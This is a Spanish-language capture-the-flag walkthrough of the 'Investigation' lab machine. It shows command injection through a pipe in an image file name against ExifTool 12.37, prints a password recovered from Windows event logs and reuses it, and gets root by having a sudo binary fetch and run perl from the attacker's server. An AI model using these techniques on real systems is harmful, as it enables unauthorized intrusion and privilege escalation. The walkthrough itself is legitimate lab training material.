Investigation presenta un sitio que permite analizar los metadatos de una imagen mediante ExifTool, encontramos que la version es vulnerable lo que nos permitio acceder a la maquina. Tras analizar un archivo de Eventos de Windows encontramos credenciales para un segundo usuario. Finalmente escalamos privilegios tras analizar el codigo fuente de un ejecutable con Ghidra.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Fri Mar 3 21:23:49 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.197Nmap scan report for 10.10.11.197
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)|256 274520add2faa73a8373d97c79abf30b (ECDSA)|_ 256 4245eb916e21020617b2748bc5834fe0 (ED25519)80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 3 21:23:58 2023 -- 1 IP address (1 host up) scanned in 9.44 seconds
Web Site
El sitio web nos redirige al dominio eforenzics.htb. Agregamos el dominio al archivo /etc/hosts.
π ~/htb/investigation ❯ feroxbuster -w $MD -u http://eforenzics.htb/ --depth 2 -x php,html
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://eforenzics.htb/
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 2 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 208l 629w 10957c http://eforenzics.htb/
403 GET 9l 28w 279c http://eforenzics.htb/.php
200 GET 208l 629w 10957c http://eforenzics.htb/index.html
403 GET 9l 28w 279c http://eforenzics.htb/.html
301 GET 9l 28w 317c http://eforenzics.htb/assets => http://eforenzics.htb/assets/
200 GET 82l 198w 0c http://eforenzics.htb/upload.php
200 GET 91l 227w 4335c http://eforenzics.htb/service.html
301 GET 9l 28w 321c http://eforenzics.htb/assets/css => http://eforenzics.htb/assets/css/
301 GET 9l 28w 322c http://eforenzics.htb/assets/imgs => http://eforenzics.htb/assets/imgs/
301 GET 9l 28w 320c http://eforenzics.htb/assets/js => http://eforenzics.htb/assets/js/
301 GET 9l 28w 325c http://eforenzics.htb/assets/vendors => http://eforenzics.htb/assets/vendors/
403 GET 9l 28w 279c http://eforenzics.htb/server-status
User - www-data
ExifTool
Al subir una imagen nos muestra un mensaje sobre un reporte y un enlace hacia el mismo.
Al visitar el enlace vemos que es un archivo de texto con informacion de los metadatos de la imagen. Se muestra que la herramienta utilizada es exiftool y la version es 12.37.
π ~/htb/investigation ❯ curl -s http://eforenzics.htb/analysed_images/avatarjpg.txt
ExifTool Version Number : 12.37
File Name : avatar.jpg
Directory : .
File Size : 16 KiB
File Modification Date/Time : 2023:03:04 02:33:29+00:00
File Access Date/Time : 2023:03:04 02:33:29+00:00
File Inode Change Date/Time : 2023:03:04 02:33:29+00:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1Y Resolution : 1Image Width : 250Image Height : 250Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)Image Size : 250x250
Megapixels : 0.062
π ~/htb/investigation ❯
Command Injection
Una busqueda sobre vulnerabilidades que afectan a esta version nos llevo al CVE-2022-23935 el cual describe la posibilidad de Command Injection, ademas encontramos un Gist en el que se explica la vulnerabilidad y un PoC. Utilizando el caracter | en el nombre del archivo permitiria ejecutar comandos.
Creamos un archivo con un archivo que contiene el comando para realizar un ping a nuestra maquina, o simplemente cambiar el nombre del archivo por medio de BurpSuite.
www-data@investigation:~/html$ cat upload.php
<!DOCTYPE html>
<html lang="en">
[ ... ] <?php
if(isset($_POST['upload'])&&$_FILES['image']['error']==0){$allow_type= array('image/jpeg','image/png');$image_name=$_FILES['image']['name'];$original_name=$image_name;$sanitised= preg_replace('/[^a-zA-Z0-9]+/', '', $original_name);$image_type= getimagesize($_FILES['image']['tmp_name']);$image_name= explode('.',$image_name);$folder=time();if(in_array($image_type['mime'], $allow_type)){ list($width, $height, $mime)= getimagesize($_FILES['image']['tmp_name']);if($width>0 &&$height>0){ mkdir("/var/www/uploads/$folder");$upload= move_uploaded_file($_FILES['image']['tmp_name'], '/var/www/uploads/'.$folder.'/'.$_FILES['image']['name']);if($upload){echo'<p>'.$sanitised.' has been uploaded. The analysis report can be viewed <a href=analysed_images/'.$sanitised.'.txt>here</a> </p>';echo'<p>Please save this report as it will only be available for the next five minutes</p>';$folder="/var/www/uploads/$folder";$cmd="cd $folder && /opt/exiftool/exiftool * > /var/www/html/analysed_images/$sanitised.txt"; shell_exec($cmd);}}else{echo'Error: Only JPEG and PNG are allowed';}}else{echo'Error: Only JPEG and PNG are allow';}}else{echo'Error: Invalid File Type!';} ?>
</div>
</form>
</div>
</div>
</div>
</header>
[ ... ]</body>
</html>
www-data@investigation:~/html$
User - Smorton
En el archivo /etc/passwd descubrimos al usuario smorton, buscamos archivos y directorios a los que este usuario tiene acceso. Observamos que existe un archivo con extension msg.
➜ www head -n 35 file.eml
Date: Tue, 16 Sept 2022 00:30:29 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary=16747697951.e0C5.30607
Content-Transfer-Encoding: 7bit
Subject: Windows Event Logs for Analysis
From: Thomas Jones <thomas.jones@eforenzics.htb>
To: Steve Morton <steve.morton@eforenzics.htb>
Thread-Topic: Windows Event Logs for Analysis
Accept-Language: en-US
Content-Language: en-US
--16747697951.e0C5.30607
MIME-Version: 1.0
Content-Type: multipart/alternative;boundary=16747697950.60Df5bdBB.30607
Content-Transfer-Encoding: 7bit
--16747697950.60Df5bdBB.30607
Content-Type: text/plain;charset=ISO-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Hi Steve,
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.
Regards.
Tom
--16747697950.60Df5bdBB.30607
Content-Type: application/rtf
Content-Disposition: inline
Content-Transfer-Encoding: base64
Thunderbird
Utilizando Thunderbird abrimos el archivo, el cual nos muestra un correo que explica sobre un archivo de log para ser analizado. Ademas hay un archivo adjunto: evtx-log.zip.
Al descomprimir el archivo vemos un archivo evtx de eventos de windows.
1
2
3
4
5
6
➜ www unzip evtx-logs.zip
Archive: evtx-logs.zip
inflating: security.evtx
➜ www file security.evtx
security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013➜ www
Windows Event Log
Utilizando una maquina Windows analizamos el archivo, observando los diferentes eventos encontramos un evento que contiene el nombre de un usuario inusual.
1
Def@ultf0r3nz!csPa$$
Intentamos utilizar este usuario como contraseña para el usuario smorton la cual funciono.
1
2
3
4
5
6
www-data@investigation:/usr/local/investigation$ su smorton
Password: Def@ultf0r3nz!csPa$$smorton@investigation:/usr/local/investigation$ whoami;id
smorton
uid=1000(smorton)gid=1000(smorton)groups=1000(smorton)smorton@investigation:/usr/local/investigation$
Al analizar el archivo con ghidra obtuvimos el codigo fuente del archivo binary.
Tras analizar el codigo en Ghidra encontramos que:
Debe de ser ejecutado como root.
Debe de tenener dos argumentos o el programa muere.
El segundo argumento debe de ser la string ’lDnxUysaQn’
Si lo anterior es correcto, crea una petición utilizando curl, tomando como url el primer argumento, el segundo argumento lo toma para guardar el contenido de la petición. Seguidamente si la petición se realizó con exito, ejecuta perl sobre el archivo donde se guardó el contenido, es decir ’lDnxUysaQn’, finalmente elimina el archivo mencionado utilizando ‘rm -f ./lDnxUysaQn’.
Como sabemos el archivo de la petición es ejecutado por perl, es por ello que creamos un archivo el cual contenga codigo perl, en este caso una prueba para crear un archivo temporal, colocandolo en un servidor http.
1
system('touch /tmp/create_file')
Solo queda ejecutar el binario con la dirección url y archivo que contiene codigo perl. Observamos que el archivo lo creo el usuario root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
smorton@investigation:/dev/shm$ sudo /usr/bin/binary "10.10.14.207/file.txt" lDnxUysaQn
Running...
smorton@investigation:/dev/shm$ ls -lah /tmp/
total 52K
drwxrwxrwt 13 root root 4.0K Jan 27 01:22 .
drwxr-xr-x 18 root root 4.0K Jan 9 16:53 ..
drwxrwxrwt 2 root root 4.0K Jan 27 01:13 .ICE-unix
drwxrwxrwt 2 root root 4.0K Jan 27 01:13 .Test-unix
drwxrwxrwt 2 root root 4.0K Jan 27 01:13 .X11-unix
drwxrwxrwt 2 root root 4.0K Jan 27 01:13 .XIM-unix
drwxrwxrwt 2 root root 4.0K Jan 27 01:13 .font-unix
-rw-r--r-- 1 root root 0 Jan 27 01:22 create_file
drwx------ 3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-ModemManager.service-0Edlwi
drwx------ 3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-apache2.service-BOcwzg
drwx------ 3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-logind.service-riRTng
drwx------ 3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-resolved.service-lavR7g
drwx------ 3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-timesyncd.service-EpUhJh
drwx------ 2 root root 4.0K Jan 27 01:14 vmware-root_734-2991268422
smorton@investigation:/dev/shm$
Shell
Modificamos el codigo perl para ejecutar una shell inversa con shells.